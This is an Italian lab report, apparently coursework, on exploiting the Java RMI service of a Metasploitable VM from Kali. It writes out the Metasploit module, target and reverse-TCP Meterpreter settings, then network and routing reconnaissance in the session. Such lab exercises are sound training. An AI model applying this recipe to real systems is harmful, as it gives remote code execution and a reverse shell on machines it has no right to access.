**Report: Sfruttamento della Vulnerabilità Java RMI su Metasploitable**

**Obiettivo:** Sfruttare la vulnerabilità Java RMI sulla macchina Metasploitable per ottenere una sessione Meterpreter e raccogliere informazioni sulla configurazione di rete e sulla tabella di routing.

**Preparazione dell'Ambiente**

1. Configurazione delle Macchine

- Macchina Attaccante: Ho configurato una macchina KALI Linux con l'indirizzo IP 192.168.11.111.

- Macchina Vittima: Ho configurato Metasploitable con l'indirizzo IP 192.168.11.112.

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

2. Avvio di Metasploit

- Ho aperto un terminale nel mio KALI Linux.

- Ho digitato `msfconsole` per avviare la console Metasploit.

Immagine che contiene testo, schermata

Descrizione generata automaticamente

**Configurazione e Utilizzo dell'Exploit**

**1. Selezione del Modulo**

- Nella console Metasploit, ho utilizzato il comando:

“

use exploit/multi/misc/java\_rmi\_server

“

**2. Configurazione del Modulo**

- Ho impostato il target e le opzioni dell'exploit:

Immagine che contiene testo, schermata, menu

Descrizione generata automaticamente

**Spiegazione settaggi:**

**- set RHOST 192.168.11.112:** Imposta l'indirizzo IP del server remoto da attaccare a 192.168.11.112.

**- set RPORT 1099:** Imposta la porta remota a cui connettersi sul server bersaglio al numero 1099.

**- set PAYLOAD java/meterpreter/reverse\_tcp:** Specifica di usare il payload "java/meterpreter/reverse\_tcp". Questo è un payload per ottenere una shell Meterpreter in Java usando una connessione TCP reverse.

**- set LHOST 192.168.11.111:** Imposta l'indirizzo IP locale a cui il payload invierà la connessione reverse, in questo caso 192.168.11.111.

**- set LPORT 4444:** Imposta la porta locale su cui ricevere la connessione reverse dal payload, qui al numero 4444.

Questi comandi configurano l'exploit per attaccare un server Java remoto all'indirizzo 192.168.11.112 sulla porta 1099, usando un payload Meterpreter Java reverse TCP che invierà la connessione inversa all'host locale 192.168.11.111 sulla porta 4444.

Successivamente ho verificato le opzioni con il comando:

“

**show options**

“

**3. Esecuzione dell'Exploit**

- Ho lanciato l'exploit con il comando:

“

**exploit**

“

- Una volta riuscito, ho ottenuto una sessione Meterpreter sulla macchina vittima.

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

**Raccolta delle Informazioni**

**1. Ottenimento della Configurazione di Rete**

- Nella sessione Meterpreter, ho utilizzato il comando “ifconfig”:

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

- Questo comando mi ha fornito dettagli sulle interfacce di rete della macchina Metasploitable.

**2. Visualizzazione della Tabella di Routing**

- Nella stessa sessione Meterpreter, ho eseguito il comando “route”:

Immagine che contiene testo, schermata

Descrizione generata automaticamente

- Questo mi ha permesso di visualizzare la tabella di routing, mostrando come i pacchetti sono instradati all'interno e all'esterno della macchina.

**Conclusione e Raccomandazioni**

Dopo aver ottenuto accesso alla macchina Metasploitable e raccolto le informazioni di configurazione di rete e di routing, ho analizzato questi dati per comprendere meglio le potenziali vulnerabilità e la topologia di rete della macchina vittima. Le informazioni raccolte possono essere utilizzate per ulteriori analisi di sicurezza o per prendere misure preventive contro attacchi futuri.